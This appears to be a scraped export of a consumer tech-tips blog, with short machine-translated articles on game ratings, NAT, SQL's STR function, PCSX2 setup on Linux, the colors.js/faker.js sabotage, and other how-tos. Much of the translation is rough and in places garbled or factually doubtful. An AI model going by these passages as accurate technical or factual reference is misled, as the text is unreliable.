content. Publishers will change their game to avoid being ranked at this level, because it's basically like a death sentence. Games with AO ratings include Seduce Me and Ef: A Fairy Tale of the Two.\nRating Pending (RP) is just a 'reservation'. It appears with advertisements for unrated games. Describe the ESRB content   Ranking is usually found on the front of the game box, while the back has more details. ESRB has several dozen content descriptions, providing you with information about the types of offensive content in the game. Most of these descriptions are self-explanatory (such as Blood - related to gore scenes or Use of Drugs - there are scenes of illegal use), and the article will explain a few. Description can be confusing here:\nComic Mischief: Characters slide on a banana peel, slap each other, etc. Crude Humor: Generally speaking of 'bathroom humor' such as farting. Lyrics: Music in the game contains language or other suggestive content. Simulated Gambling: Card game with virtual money. Suggestive Themes: Games often have characters in delicate clothes or the like. Finally, ESRB now has information about 'Interactive Elements' at the bottom of the rankings. These include In-Game Purchases if the game allows you to spend real money on loot boxes or similar items and Users Interact in games where you can talk and share. Share content with others. ESRB does not rate online parts of the game because it cannot predict how people will act online.\nFor a complete list of descriptions and information, see the ESRB ranking guide at https://www.esrb.org/ratings-guide/. You can also search for any game on the ESRB website to see a summary of its objectionable factors.\nExplain about PEGI ratings   PEGI uses a similar setting to ESRB with a total of 5 rating levels. However, there are some minor differences in the ratings, and there, there is no 'useless' rating like AO.\nPEGI 3 is the lowest ranking and suitable for all ages. Unlike EC ratings, games with this rating do not necessarily target preschoolers. These games should not contain things that may scare children, but a light, humorous 'violence' is still acceptable. An example of this rating is Yoshi from Crafted World. PEGI 7 marks games suitable for ages 7 and up. Like PEGI 3, PEGI 7 may contain some violence or mild scary situations. Pokémon Ultra Sun is an example of the game PEGI 7. PEGI 12 has an orange symbol. These games are for players 12 and older. They may contain more realistic scenes of violence, references to sex, small gambling, horror elements and some 'rude' languages. An example of this type of game is Shadow of the Colossus. PEGI 16 , also orange, denotes games for players 16 and older. Compared to the PEGI 12 titles, these games may contain stronger scenes involving banned substances, violence, sexuality and language. Battlefield V falls in this rating. PEGI 18 is the strongest ranking and is red. These games are only for players 18 and older. They contain extreme violence, the use of illegal substances, and explicit sexual activity. Metro: Exodus is an example of the game PEGI 18. Description of PEGI content   Like ESRB, PEGI also complements its main rankings with content descriptions. They appear as icons on the back of the game box. Although there are few descriptions of PEGI compared to ESRB, they represent different levels of content based on rankings.\nFor example, Bad Language's description can appear on games rated 12 through 18. But while PEGI 12 will contain only a few gentle swear words, a PEGI 18 game may contain statements. 'heavier'. In addition, descriptions are limited to specific ratings, so you can't see Drugs description on a PEGI 7 game.\nLike ESRB, PEGI recently added the In-Game Purchases icon to indicate games that allow you to purchase downloadable content for real money.\nThe article gives readers a full overview of the ESRB and PEGI video game rating systems. By now, you know what these companies are all about, what the ratings mean, and how to check the content descriptions for more details about each individual game.\nIt was interesting to see comparative ratings across regions. For example, the Celeste game receives an E10 + rating in the US, but is only considered to be PEGI 7 in Europe. PEGI also does not point out some of the same content as ESRB, such as crude humor (the humor is a bit crude).\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFusdKrmWaZnpl6sbHGomSvoZSavG6zwKacZqqRo7iqusZmqq2Znpmus7DS\n","link":"/post/learn-about-esrb-and-pegi-video-game-ranking-standards/","section":"post","tags":null,"title":"Learn about ESRB and PEGI video game ranking standards"},{"body":"Modern Internet connection today must use NAT (Network Address Translation) technology. NAT (Network Address Translation) allows one or more local IP addresses to be mapped to one or more external IP addresses . To understand more about NAT as well as NAT's operation mechanism, please refer to the article below.\nThe Internet is more and more developed than our imagination. Although it is impossible to list the exact number, we can estimate the number of more than 100 million Hosts and more than 350 million people accessing the Internet daily. In fact, this rate doubles every year.\nModern Internet connection today must use NAT (Network Address Translation) technology. NAT allows one (or more) local IP addresses to be mapped to one (or more) external IP addresses .\nIP address ( IP - Internet Protocol ) is a series of 32-bit (IPv4) or 128-bit (IPv6) numbers used to identify a network device on the network that helps them identify and communicate with each other. In a network model, each network device has only one IP address . It is understandable that the IP address is like the address where you live. Others can find you and send information to you via that address.\nAlong with the current Internet boom and the increasing demand for network systems, the IPv4 address space began to be limited. The solution is to redesign the IP address format, allowing more IP addresses (namely IPv6 ). However, this solution is still in the research and development stage and it takes many years to implement.\nTherefore, the best solution is to use NAT (Network Address Translation) technology . NAT or Network AddressTranslation allows a device such as the Router to act as an intermediary between the Internet (or Public Network : public network) and Local (or Private : local network). This means that a computer only has a unique IP address .\nWhat is NAT (Network Address Translation)? Understandably, NAT is like a receptionist at a large office. If you want to meet someone in the company you have to go through and follow the receptionist's instructions. Or if you want to call and talk to someone but the person is not at the company or they are busy at the meeting, . you can leave a message for the receptionist then they will forward the message to the person You need to talk to inform. In another case you can talk to the receptionist and ask them to connect to the person you need to meet.\nOr you can understand when someone wants to talk to you, but they only know the office phone number where you work. They will call your office and ask the receptionist to forward the call to you. Now the receptionist will conduct a check on the lookup table to find out your name and other extended information. And then they will forward the call to you on your extension.\nWhat does NAT (Network Address Translation) do? Network Address Translation ( NAT ) is like a router , forwarding packets between different network layers on a large network. NAT translates or changes one or both addresses inside a packet when the packet goes through a Router , or some other device. Usually NAT usually changes the address is usually the private address ( Private IP ) of a network connection to a public address (IP Public).\nNAT can also be considered a basic firewall. NAT maintains a table of information about each packet sent. When a computer on the network connects to a website on the Internet header of the source IP address that is replaced by a pre-configured public address on the NAT server , after a packet returns to NAT based on the record table it has save to packets, change the destination IP address to the PC 's address in the network and forward it. Through that mechanism, network administrators can filter packets sent to or sent from an IP address and allow or prevent access to a specific port.\nMore reference: General introduction about NAT NAT (Network Address Translation) was developed by Cisco . NAT includes some basic types below:\nStatic NAT (static NAT) Static NAT (static NAT) is a NAT method that has a double. A Private IP address will be mapped with a Public IP address. Static NAT is used when the device needs to be accessed from outside the network.\n  In Static NAT , the IP address of the computer is 192.168.32.10. It is always compiled by the Router to the IP address 213.18.123.110.\nDynamic NAT (dynamic NAT) A Private IP address will be mapped with a Public IP address in the Public IP address group .\n  In Dynamic NAT , the computer with the IP address 192.168.32.10 is always compiled by the Router to the first address 213.18.123.100 in the IP address range from 213.18.123.100 to 213.18.123.150.\nSee also: Trick to change dynamic NAT configuration Overloading NAT NAT Overloading is a dynamic NAT form (Dynamic Overload) . Many Private IP addresses will be mapped with a Public IP address through different Ports .\nJust like PAT (Port Address Translation) , a NAT or Port address will have many different NAT levels.\n  In Overloading NAT , each computer on the local network (Private Network) is compiled by the Router to the same IP address 213.18.123.100 but on different communication ports.\nOverlapping NAT   When the IP address in the local network is IP Public being used on another network, the Router must maintain a table looking for these addresses to prevent and replace with a single Public IP .\nIt is important to note that the NAT router must compile the \"internal\" address into a single public IP address as well as compile the \"external\" address into a single Private IP address . You can use static NAT or use a combination of dynamic DNS and NAT.\nThe local network is usually LAN (Local Are Network) , or Stub Domain. A Domain Stub is a LAN using an internal IP address .\nMost Network Traffic (which is stable, uninterrupted network traffic) in Stub Domain is local, so the internal network never gets exposed to the outside.\nA Stub Domain can include both Public IP and Private IP addresses . Any computer using Private IP addresses must use NAT (Network Address Translation) to exchange information with other computers.\nIn the next section, Network Administrator will introduce you to configure NAT.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKadk52ur7XSpmSonl2jrrV5zZ6rsKeioHqisMOrnKyrXam%2ForrSpZitoZ%2BjerGt0a1kag%3D%3D\n","link":"/post/learn-about-the-mechanism-of-nat-network-address-translation-part-1/","section":"post","tags":null,"title":"Learn about the mechanism of NAT (Network Address Translation) (Part 1)"},{"body":" Be overwhelmed by the most luxurious things only available in Dubai In the world today, there are many famous items thanks to the luxurious and unique design, but there are still famous items because of the \" sky-high \" price that makes listeners feel extremely surprised. . The Bright Side page has synthesized 10 items that you might be owning but their prices will be hundreds or thousands of times more expensive. Invite you to consult!\nDiamond nipples\n © ulubulu.com\nThe world's most expensive nipple is made of silicon, the handle is white gold. More specifically, the handle is also attached with 280 diamonds. Its cost is US $ 17,000, equivalent to VND 389 million.\niPhone gold plated with diamonds\n © falconluxury.com\nThis is not the usual iPhone 6 that you often see - it's a gold or platinum VIP smartphone and decorated with a diamond. Its estimated cost is 48 million USD.\nBeds are decorated with gold and precious stones\n © stuarthughes.com\nThis luxury bed is made by designer Stuart Hughes, costing about $ 6.3 million. Bed frames are made from the best woods like chestnuts and cherries. The patterns on the bed are decorated with 24k gold, as well as diamonds and jade. If you sleep in this bed your feeling will be like a royal.\nCondoms branded Louis Vuitton\n © designprovocation.com\nThis expensive condom costs 68 USD ( equivalent to 1,500,000 VND ) and is also the most expensive condom in the world. The most interesting thing, it's not a Louis Vuitton product, but a designer from Georgia, Irakli Kiziria.\nCrystal Ergoripado vacuum cleaner\n © electrolux.com\nCrystal Ergoripado diamond vacuum cleaner not only has a luxurious design but also the ability to absorb dust is also in the top. With light weight like that, using brush-roll-clean technology and specially studded with 3,730 Swarovski crystals, the Crystal Ergoripado diamond vacuum cleaner deserves to be a \" breeze \" rather than a protective device. born. Of course, the owner who owns it will have to spend a lot of money for $ 20,000. This glittering and sparkling vacuum cleaner has been recorded in the Guinness Book of Records.\nBicycle inlaid with gold\n © goldgenie.com\nThis bike is completely covered in 24k gold and worth up to $ 400,000. Its saddle is covered with soft suede and the bike is also fitted with polished diamonds.\nBad Billionaire Couture umbrella with bad fish skin\n © billionairecouture.com\nThe most expensive umbrella in the world is made of crocodile skin and costs $ 5,000. This luxury item is produced by Billionaire Couture fashion brand, which is co-founded by millionaire Flavio Briatore and designer Angelo Galasso. Billionaire Couture fashion always brings a strong, unique and extremely stylish impression from material to detail. The Billionaire Couture umbrella is made of top quality, waterproof, black crocodile leather, which is certainly a simple way for billionaires to show off their wealth and luxury.\nSuitcase with electric wheels\n © henk-suitcase.com\nThis super cute suitcase costs US $ 20,000, equivalent to VND 458 million, made of various exotic materials, such as: ponytail, ebony, magnesium, aluminum, titanium, carbon fiber, textiles and other Different skin types. In addition, its wheels also have electric motors. To activate these wheels, just tilt the suitcase and pull the handle, your luggage will move towards the handle.\nGold shoelace\n © mr-kennedy.com\nMr. Kennedy was the one who designed this pair of gold shoelaces and their price was $ 19,000 ( approximately 435 million VND ). Anyone who owns this shoelace will receive a service with a special shipper coming to the porch and giving it to the customer.\nBlue dumplings\n © hybridtechcar.com\nGolden Gates Restaurant in New York offers its customers the most expensive dumplings in the world. In addition to the usual ingredients, they also contain glands of a horned fish that live in deep water, making the dumplings particularly blue. These blue dumplings are thought to be delicious and customers are willing to spend money to enjoy for $ 2,400 for 8 dumplings and $ 4,400 for 16.\nRefer to some more articles:\n25 \"twisted brain\" photos make you look back several times 13 extremely creative advertising ideas that cannot be ignored 15 incredible surreal artworks of talented artists Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F056bZmlgYrm2xNSroKito2Kur7CMnq%2BpnZ6otrexjKKrnqWjYravedOhnGavn6e5pQ%3D%3D\n","link":"/post/listed-10-luxurious-and-expensive-items-in-the-world/","section":"post","tags":null,"title":"Listed 10 luxurious and expensive items in the world"},{"body":"The 2013 MacBooks including the 2013 MacBook Air and MacBook Pro were all stuck with the loss of speech when the resume was from sleep mode.\nA portion of users recently reflected that the new 2013 MacBook Pro that Apple released during the September event, with MacBook Air 2013 launched earlier this year, encountered an audio error when resuming from sleep mode. . The MacBook Pro 2013 was released by Apple at the September 23 event with Haswell, Retina display and running OS X Mavericks operating system.\n  According to users, their MacBook encountered a loss of sound after turning on the device from sleep mode, and they could not activate the sound on the device. In addition, users also said that when observing in the task manager on the operating system, they found there was a strange process that consumed CPU, and this process also appeared when the machine turned on from sleep mode. In system log, users see errors such as:\n10/28/13 03: 46: 27,000 kernel [0]: Sound assertion in AppleHDAController at line 5460\nThese errors seem to only affect MacBooks using Haswell chips, ie both the MacBook Pro 2013 and the MacBook Air 2013. And now there seems to be no way to thoroughly fix the error. On the Apple forum some members have tried some solutions such as restarting the computer, however, it is not always the first reboot to fix the error successfully, so you may have to restart few times to fix.\nCurrently Apple has not given any feedback on this error. Previously, the 2013 MacBook Pro also suffered a number of errors such as a keyboard and trackpad hangs. Apple has confirmed this error and promised to fix it in the near future.\nncG1vNJzZmismaXArq3KnmWcp51kuqKvwaimpGViZX50eceemK%2BxXai8trrDZpmunw%3D%3D\n","link":"/post/macbook-2013-heavy-sound-bug/","section":"post","tags":null,"title":"Macbook 2013 heavy sound bug"},{"body":"  Sometimes, when you are editing a text, you need a ruler ruler above and to the left of the text so you can align the margins, tabs, or align the cells in the text table beautifully. But when you look back you do not see it, maybe you accidentally accidentally turned it off or the default Word installation did not display the Ruler ruler.\nThuthuatphanmem.vn will guide you how to display ruler ruler in this article.\n1. How to display ruler in Word You open the View ribbon . In the Show section with 3 lines, put a checkmark in the Ruler line .\n  Immediately two vertical and horizontal ruler ruler will be displayed in the interface of Word.\n  2. How to adjust the measurement unit for the Ruler bar Normally, Word's default measurement unit is inches, but if you do not like this unit, you can change to another unit.\nStep 1: Open the File ribbon .\n  Step 2: Select the Options line at the end.\n  Step 3: The Work Options dialog box is opened, you open the Advanced section and then scroll down in the Display section .\nField Show measurements in units of:\nYou can then choose the unit of measurement you want.\n  Thank you for following the article of TipsMake.vn on how to display Ruler ruler in Word. I wish you successful implementation.\nncG1vNJzZmismaXArq3KnmWcp51kv7a4xKtkoqtdmba0vMuasJ6cXZ67bsPOq5tmamBmfW5%2Bj2pqZpmemXpzfJBvZKKmXay8s7A%3D\n","link":"/post/ruler-is-displayed-in-word-2010-2013-and-2016-in-word/","section":"post","tags":null,"title":"Ruler is displayed in Word 2010, 2013 and 2016 in Word"},{"body":"The article will explore and show you how to use STR function to return character data converted from digital data in SQL Server.\nDescribe The STR function in SQL Server returns a string representing a number specified in the function.\nSyntax To use STR function in SQL Server, we use the following syntax:\n STR(number, length, decimal)  Parameters :\nnumber: Numeric value to convert into a string. length: The length of the returned string, including all digits, decimal numbers, . If the length is not specified, it will default to 10. decimal: The number of decimal places will show in the result string and cannot exceed 16. If the decimal number is not specified, it will default to 0. Note :\nSTR will round the result if there are not enough length and decimal parameters to display the output string based on the parameters provided. Function STR can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example Take a look and explore some examples of STR functions in SQL Server.\nSELECT STR(123); Result: '123' SELECT STR(123.5); Result: '124' (kết quả được làm tròn vì vị trí thập phân mặc định là 0) SELECT STR(123.5, 5); Result: '124' (kết quả được làm tròn vì vị trí thập phân mặc định là 0) SELECT STR(123.5, 5, 1); Result: '123.5' SELECT STR(123.456, 7, 3); Result: '123.456' SELECT STR(123.456, 7, 2); Result: '123.46' (kết quả được làm tròn vì vị trí thập phân được đặt thành 2) SELECT STR(123.456, 7, 1); Result: '123.5' (kết quả được làm tròn vì vị trí thập phân được đặt thành 1) SELECT STR(123.456, 7, 0); Result: '123' (kết quả được làm tròn vì vị trí thập phân được đặt thành 0) SELECT STR(123.456, 7); Result: '123' (kết quả được làm tròn vì vị trí thập phân mặc định là 0)  Previous article: Function SPACE in SQL Server\nNext lesson: STUFF function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kwLW%2BjJ%2Bsp5uknryvecinZKypnGLApr7Vnqk%3D\n","link":"/post/str-function-in-sql-server/","section":"post","tags":null,"title":"STR function in SQL Server"},{"body":"Want to know how to update album information for songs in the library and how to add album covers for albums to display on Windows Media Player? In this article TipsMake.com will guide both these issues in detail. \n How to update album information \n First, start Windows Media Player and search for albums that don't have the necessary information.\n  Open the album you want to add missing information.\n  Select all songs and right-click and choose ' Find Album Info '.\n  Windows Media Player will begin the process of helping you find and update missing album information. If all selected songs belong to the same album, select the appropriate options and click Next .\n  Album will be searched in the database. If the search doesn't work, you'll have to update the current information and include the information you know about the song.\n  In the above example, the information about albums and singers is unknown. Please enter a name for the album and artist name and then click Done .\n  The album information will be searched again and if this information is found there will be a request to confirm that the album information is correct.\n  In this case, click Finish and Windows Media Player will update all the songs from the album with all the information displayed. This update includes detailed information such as music genre, maker, year of production, album cover .\nHow to add covers for alum \n For each album in the library, Windows Media Player allows album covers to be displayed. If there is no cover, the album will be displayed with a blank CD image. To add to the album cover, follow these steps: First use search engines to find the cover you want and save it on your computer. Then open Windows Media Player, find the album in the library. To add a cover, perform drag and drop on top of the album. The plus sign '+' will appear as shown below:\n  When you move the cover above the album, release the left mouse button. Another method is to select the image containing the cover and then right-click the Copy command. Then open the album on Windows Media Player, right-click and select ' Paste Album Art '.\n  The next time you open that album you will see the album cover is displayed.\n  ncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWdmrGqrYypo5qxlad6cn2MmpudZZOkw6a%2B0maYp5xdqr2lrdOeZJqkkqq6brXNn6arpZGptrC6\n","link":"/post/add-covers-and-update-album-information/","section":"post","tags":null,"title":"Add covers and update album information"},{"body":"Initially, some people surmised that these two NPM libraries were hacked. But in the end the story is much more complicated than that.\nIt turned out that the developers of the above libraries created an infinite loop that caused thousands of projects that depended on colors and faker to hang, or render meaningless things.\nThe colors library is downloaded more than 20 million times per week and on npm alone, nearly 19,000 projects depend on it. Meanwhile, faker has 2.8 million downloads per week on npm and has over 2,500 dependent projects.\nWhat is the root cause of this incident? The developer behind the popular open-source libraries colors (aka colors.js on GitHub) and faker (aka faker.js on GitHub) has intentionally included in them bizarre commits. As a result, thousands of applications that depend on these libraries have been affected.\nFor example, Amazon's Cloud Development Kit (aws-cdk) displayed meaningless messages on the console. The message begins with three lines of LIBERTY LIBERTY LIBERTY followed by lines of non-ASCII characters. Liberty means freedom.\n  Why do developers manually sabotage the libraries they create? The most appropriate reason is to retaliate. The developers behind colors.js and faker.js are frustrated with the fact that large corporations and consumer businesses \"use\" free and community-provided software but do not support it. What support for the community.\nIn November 2020, developer Marak Squires - one of the people behind the colors.js project - shared that he will no longer support large corporations for free. Instead, Marak advises corporations to consider fork the project and get someone else to work on it or pay him a 6-figure salary a year (in USD).\nMixed feedback from the community Some people support Mark's actions while others say it is irresponsible behavior.\n\"If you don't want others to use the temple, don't give it away for free. Your self-destruction of the library not only harms your business, but also affects anyone who uses it. It's irresponsible,\" said the expert with the nickname. InfoSec's VesOnSecurity shares.\nImmediately after the controversy broke out, GitHub temporarily locked Marak's account. This also caused mixed reactions.\n  \"Deleting your own code from (GitHub) also counts as a violation of GitHub's Terms of Service? WTF?\" complained software engineer Sergio Gómez.\nThe case is still controversial and it is still unclear how things will be settled in the end. In the meantime, if you're using the colors and faker libraries for your projects, make sure not to use unsafe versions. Downgrading to older colors (e.g. 1.4.0) and faker versions (e.g. 5.5.3) can be a useful solution.\nncG1vNJzZmismaXArq3KnmWcp51kr6a1zaBkrquVmXqjxYymmKexXZe2qHnCqKSpmZ6esrR506GcZpyVq7Ktu8%2BeqWalkaPCorjLsmSbqp%2Bgsm7Ax55kp6idYrCwuM6rqqOrXZa7pXnFmqKeqpqoeq21wauYq6GVqA%3D%3D\n","link":"/post/being-used-by-many-big-companies-the-developer-manually-broke-the-npm-colors-js-and-faker-js-libraries/","section":"post","tags":null,"title":"Being 'used by many big companies', the developer manually broke the NPM colors.js and faker.js libraries"},{"body":"   If you are keeping sensitive and private files and folders in your computer, the best way to protect it from others' peeking is to encrypt it with a strong password. On the Mac, if you want to encrypt data, instead of installing third-party encryption software, you can use the disk image function to create an encryption box to store sensitive data. On the Mac, go to Applications \u0026gt; Utilities \u0026gt; Disk Utility Click the New Image button.\n  Fill in the information in this window.\nIn the Volume Size field, you can select the size of the box you want to create. There are several predefined options including different CD and DVD sizes. You can choose from the drop-down list or specify the required size with the Custom option\n  Under Encryption , select 128-bit AES encryption . There is also an option to select 256 bit encryption, but it will slow down the entire process. In the Image Format field, select read / write disk image Here is what you see after configuring:\n  Click the Create button to create the disk image. It will immediately ask you for your password. Enter your password, make sure it's a strong password. Also remember to uncheck the \" Remember password in my keychain \" box, otherwise it will make it difficult to encrypt your data.\n  Once the disk image is ready, you may find it mounted on your desktop ready to use. Open the disk image in your Finder and drag (or copy and paste) sensitive files into it. When finished, simply unmount it. Anyone who wants to open the disk image to view the file will have to fill in the password you set.\nAll finished. You have successfully created the encrypted disk image to contain all sensitive files. With this encrypted disk image, you can store it in a hard drive corner, take it into a USB drive or burn it to a CD / DVD.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZp2emL%2B6vNOem2acmai4brXMmp6eZaSkerTAzqucZquVo8CqwMivnGackamubrXNZqSamw%3D%3D\n","link":"/post/create-encrypted-disk-image-to-store-sensitive-data-in-mac/","section":"post","tags":null,"title":"Create encrypted disk image to store sensitive data in Mac"},{"body":"Through Wallet account, users can completely transfer money directly to friends and relatives with just a few simple steps on Gmail.\n  Today, Google has officially opened the online money transfer service through Gmail. Accordingly, the user needs to just send the email as usual, select the amount to be transferred and the recipient's mail address before clicking Send to transfer. In order to achieve this feature, it is imperative that the sender and sender have a fully completed Google Wallet and Visa and Master Card accounts under the form provided by Google.\n  The sender will spend 2.9% of the transfer fee and the recipient will not have to pay, the receiving address is not required to be a Gmail address, provided the conditions stated above are satisfied.\n  Currently this service has only been tested in the US, other countries may have to wait a while longer. If you immediately want to test this utility, when you declare your account with Google, select your location as the US instead of Vietnam. The steps for declaring other credit card information will still work as usual.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqegmru0ecCnZKimnJ67pnnMqKWesV2pv6K60p%2Bcq2Wjmr%2B3tcKeZK%2BhkWK0rq3IpQ%3D%3D\n","link":"/post/google-opens-an-online-money-transfer-service-via-gmail/","section":"post","tags":null,"title":"Google opens an online money transfer service via Gmail"},{"body":"When accessing the web browser and to search for certain information, users will tend to look to the Google website. Google is currently a popular search site in the world, and has become a familiar tool for users. And if you regularly use Google to search for the information you need, you can set Google as the homepage on your browser.\nPreviously, Network Administrator once instructed you to read how to make Google your homepage on Chrome. The following article will guide you to make Google your home page on Firefox.\nStep 1:\nLaunch Firefox browser. At the main interface click on the 3 dashes icon and then select the Gear Options icon .\n  Step 2:\nAt the General settings for the browser, users look to the right of the Home Page option and then enter the Google homepage address of Google.com. When Firefox starts section you switch to Show a blank page . Then restart Firefox for changes to be applied.\n  When reopening Firefox and clicking on the Home icon , we will immediately go to the Google homepage.\n  In case the user wants to open Google immediately when starting Firefox , also at the Settings interface, the General section when When Firefox starts , we switch to the Show my home page option . Thus, once you open the browser you will come to the Google homepage interface.\n  So with a few simple steps above, we have placed Google as the homepage on the Firefox browser. In addition, you can also set up to open Google immediately when starting Firefox. If the user wants to put any website that is Firefox's home page, the same way is the same as the above tutorial.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJus86onqWdXa68tr6MoaamnaCWtKZ5zqdkn6GimrOwxA%3D%3D\n","link":"/post/how-to-make-google-your-homepage-on-firefox/","section":"post","tags":null,"title":"How to make Google your homepage on Firefox"},{"body":"Playstation 2 is arguably the best game console ever created. The survival of this game is like a legend and it is in the list of the best games. In short, PS2 revolutionized gaming.\nNow, the PS2 is like a 'historical monument' in the hearts of game lovers. But that doesn't mean that hundreds of great games for this console can be forgotten. Users can play almost all of their favorite PS2 games right on the Linux PC using PCSX2. Join TipsMake.com to learn how to do the following article.\nInstructions for playing PS2 on Linux Install PCSX2 Ubuntu / Debian Fedora Arch Linux OpenSUSE Solus  Set PCSX2 System BIOS Control PCSX2 Play a game Install PCSX2 PCSX2 has been around for a while and the development for this tool is still evolving on the emulator. Most major distributions include PCSX2 in the repository by default, so users often have no trouble installing it.\nUbuntu / Debian Both Debian and Ubuntu have PCSX2 in the repository. Please install it with Apt.\nsudo apt install pcsx2  Fedora Fedora does not include PCSX2, but RPM Fusion does. Add repo to the system, if it is not already available.\nsudo sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm  Then install PCSX2 with DNF.\nsudo dnf install pcsx2  Arch Linux Ensure that multilib repository is enabled and PCSX2 can be installed with Pacman on Arch.\nsudo pacman -S pcsx2  OpenSUSE OpenSUSE provides PCSX 2 in a normal repository. Please install it as usual.\nsudo zypper in pcsx2  Solus Solus is also available PCSX2 in the default repo. Please install it with eopkg.\nsudo eopkg it pcsx2  Set PCSX2 PCSX2 has a full graphical interface. Users can launch it under the list of games on the desktop.\n  When it first starts, it will ask the user to configure some settings, starting with the language selection.\n  Next, it will ask to choose the plugin. It is possible to change these at any time and the default option is always the best starting point.\nSystem BIOS The next screen will require selecting the PS2 BIOS. Of course, you haven't set those up yet, so it's time to put everything in their place. There are two options to get the PS2 BIOS. The best way is to use PCSX2 BIOS Dumper on the PS2 console to extract the BIOS files to the USB drive and copy them to the computer. It helps to get BIOS directly from the source and it will generally be more complete. But users can also download online on the Internet. This method is definitely not recommended and may be illegal in your area.\n  Once you have the BIOS, place them in the '/home/username/.config/PCSX2/bios' and click Refresh list . You will see your system BIOS at the top of the screen. Select them and complete the setup.\nControl PCSX2 The default control features for PCSX2 seem a bit 'clumsy' and make you uncomfortable. Click the 'Config' tab at the top of the PCSX2 window. Look for the 'Controllers' option in the menus and select 'Plugin Settings'.\n  \nA new window will open, enabling the configuration of the virtual driver or the attached USB driver.\nPlay a game PCSX2 mainly works with ISO files. Fortunately, users can easily convert PS2 games into ISO files with regular DVD drives and DVD burning programs, such as Brasero. Insert the DVD into the computer and choose the option to create a copy of the DVD in the program. Select the output as ISO.\n  Once you have a game to play, select 'CDVD' in the emulator's top menu. Then, browse to the ISO file in 'ISO Selector'.\n  \nNext, select the System tab at the top of the window and choose one of the options to boot the virtual system. PCSX2 will start with the selected game. You can save the game progress as usual. PCSX2 also uses a virtual PS2 memory card.\nAll work is complete! You can extract your PS2 library and start playing your favorite games on Linux. PCSX2 will continue to receive new updates through the distribution's repository, but don't expect big changes. The emulator works with a large number of PS2 games.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuvMuasKyskam2sLqMa2Sopl2htq%2FB12auoqyYYr2kv9dr\n","link":"/post/how-to-play-playstation-2-on-linux-with-pcsx2/","section":"post","tags":null,"title":"How to play Playstation 2 on Linux with PCSX2"},{"body":"After Coc Coc allows pinning Youtube videos under the screen, the Opera browser currently also supports users to minimize the video screen for viewing at any screen interface.\nWhen users watch videos at any site, not just on YouTube, you will see a thumbnail of the video screen. When zoomed out, we can move this screen to any location, web interface or even view it right on the desktop. With this new feature of Opera, users can easily follow the video and still be able to continue their work. How to use the pinning feature on Opera will be included in the article below.\nHow to add \"Download\" button on YouTube, Facebook, . for Chrome, Firefox and Opera How to download Youtube videos offline, watch Youtube videos offline 7 ways to download videos on Youtube quickly and simply How to watch videos on Opera with a small screen Step 1:\nYou visit any website to watch videos on Opera. When hovering over the screen, you will see a minimized window icon . Click on the icon to minimize this screen.\n  Step 2:\nImmediately you will see the video appear on the thumbnail screen. Users can move this video screen position.\n  You can take it to any location on the web interface, or you can even watch the video on your computer screen as shown below.\n  Step 3:\nIf you are working on another interface and want to reopen the video playback page, click the Back to tab button to open the video playback page. If you want to turn off the video thumbnail interface, click the X icon on the right corner of the screen.\n  Pinning videos under the screen, minimizing the video screen has been applied on browsers and now Opera. You can both watch videos and work without opening the video playback page like before.\nSee more:\nHow to download videos on Youtube, Facebook with Savedeo How to remove Trustedsurf.com on Chrome, Firefox and Internet Explorer How to play videos directly on YouTube from Android phones and iOS devices I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpedWim56no2Kzs7vMZquhnV2ptba5waeYoqRdqLCzscSnZKimXaS9pr7A\n","link":"/post/how-to-watch-videos-from-the-thumbnail-screen-on-opera/","section":"post","tags":null,"title":"How to watch videos from the thumbnail screen on Opera"},{"body":"Like the iPhone, every Android phone also has a specific Mac address to access a certain Wi-Fi network. If you do not know how to view the Mac address on Android, you can refer to the instructions below of TipsMake.com.\nNote : Here, we take an example with an Android tablet, with other phones the same way.\nStep 1 : From the main screen, click Settings \u0026gt; About tablet \u0026gt; Hardware information\n  Step 2 : In the Hardware information interface, find the Wifi Mac Address section\n  Above, we've just shown you how to view Android's Mac address.\nHope the article will be useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnVopywZaSdsm65wJxkmpyUp7K0v4yonWaZnpm%2FsLXD\n","link":"/post/instructions-on-how-to-view-the-mac-address-of-android/","section":"post","tags":null,"title":"Instructions on how to view the Mac address of Android"},{"body":"Surely one of us once had a chance to take advantage of other laptop computer chargers to use for our laptops. Even, many people often have the habit of using laptop chargers mixed up. So is using another laptop charger like that really harmful to the computer?\nThe answer is yes. So if you don't want the battery to be damaged or lose warranty, it's best not to use the laptop's charger to charge another laptop.\nNot all laptops today have the same capacity, for example, gaming series will often require higher performance. When you use low-capacity chargers instead, it will cause the machine to operate unstable, potentially damaging the laptop battery, which is worse than damaging the hardware on the computer.\n  The battery may have an error immediately or after a short time if you use a different type of charger (except for some special cases). However, a common mistake that many users encounter is seeing a laptop battery saying \"plugged in, not charging\" in the right corner of the computer. This means your laptop's battery is having problems and make sure your laptop doesn't charge.\n  You should note, when the laptop charger is broken, it is not advisable to buy other \"batch\" or charging chargers of the same type to save costs. Instead, you can invest some extra money to buy a genuine charger if you don't want to replace it soon. Using the MacBook is a bit of an exception, because you can use this MacBook's charger for a MacBook. Other, however, we should not use a \"lot\" or a non-Apple charger.\nSee more:\nIs the laptop charger plugged in when the battery is full? Is the laptop charger hot? Should I plug in the laptop charger continuously? How to recover and improve performance for battery-powered laptop batteries 